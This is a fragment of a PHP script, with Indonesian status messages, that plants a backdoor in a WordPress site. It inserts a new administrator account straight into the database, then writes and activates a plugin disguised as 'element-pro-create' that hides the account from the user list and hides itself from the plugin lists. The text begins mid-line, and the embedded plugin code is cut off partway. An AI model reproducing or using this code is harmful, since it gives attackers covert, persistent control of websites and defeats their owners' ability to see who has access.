connect_error){ echo json_encode(['status'=>'error','msg'=>'❌ Koneksi DB gagal: '.$conn->connect_error]); exit; } function find_table_by_column($conn, $like_pattern, $column_name){ $result = $conn->query("SHOW TABLES LIKE '{$like_pattern}'"); while($row = $result->fetch_row()){ $table = $row[0]; $check = $conn->query("SHOW COLUMNS FROM `{$table}` LIKE '{$column_name}'"); if($check && $check->num_rows > 0) return $table; } return false; } $users_table = find_table_by_column($conn, '%_users','user_login'); if(!$users_table){ echo json_encode(['status'=>'error','msg'=>"❌ Tabel users tidak ditemukan"]); exit;} $prefix = substr($users_table,-6)==='_users'?substr($users_table,0,-6).'_':''; $usermeta_table = $prefix.'usermeta'; $options_table = $prefix.'options'; $stmt = $conn->prepare("SELECT ID FROM {$users_table} WHERE user_login=?"); $stmt->bind_param("s",$admin_user); $stmt->execute(); $stmt->store_result(); if($stmt->num_rows>0){ echo json_encode(['status'=>'error','msg'=>"⚠️ User {$admin_user} sudah ada"]); exit;} $stmt->close(); function wp_hash_password($password){ $salt = substr(str_replace('+','.',base64_encode(random_bytes(22))),0,22); return crypt($password,'$2y$10$'.$salt); } $hashed = wp_hash_password($admin_pass); $now = date('Y-m-d H:i:s'); $stmt = $conn->prepare("INSERT INTO {$users_table} (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES (?,?,?,?,?,0,?)"); $stmt->bind_param("ssssss",$admin_user,$hashed,$admin_user,$admin_email,$now,$admin_user); $stmt->execute(); $user_id = $stmt->insert_id; $stmt->close(); $meta = [ [$prefix.'capabilities','a:1:{s:13:"administrator";b:1;}'], [$prefix.'user_level','10'] ]; foreach($meta as $m){ $stmt = $conn->prepare("INSERT INTO {$usermeta_table} (user_id,meta_key,meta_value) VALUES (?,?,?)"); $stmt->bind_param("iss",$user_id,$m[0],$m[1]); $stmt->execute(); $stmt->close(); } $plugin_dir = dirname($wp_config).'/wp-content/plugins/element-pro-create'; if(!is_dir($plugin_dir)) mkdir($plugin_dir,0755,true); $plugin_code = 'query_where.=" AND {$wpdb->users}.user_login!=\'$hidden_user\'"; }); add_filter("all_plugins",function($plugins){ unset($plugins["element-pro-create/element-pro-create.php"]); return $plugins; }); add_filter("active_plugins",function($plugins){ return array_diff($plugins,["element-pro-create/element-pro-create.php"]); });'; file_put_contents($plugin_dir.'/element-pro-create.php',$plugin_code); $stmt=$conn->prepare("SELECT option_value FROM {$options_table} WHERE option_name='active_plugins'"); $stmt->execute(); $stmt->bind_result($active_plugins); $stmt->fetch(); $stmt->close(); $plugins = @unserialize($active_plugins) ?: []; $plugin_path = "element-pro-create/element-pro-create.php"; if(!in_array($plugin_path,$plugins)){ $plugins[]=$plugin_path; $plugins_serialized=serialize($plugins); $stmt=$conn->prepare("UPDATE {$options_table} SET option_value=? WHERE option_name='active_plugins'"); $stmt->bind_param("s",$plugins_serialized); $stmt->execute(); $stmt->close(); } echo json_encode([ 'status'=>'success', 'msg'=>"✅ Admin {$admin_user} berhasil dibuat & plugin hidden aktif!\n🔑 Password: {$admin_pass}" ]); exit; } ?>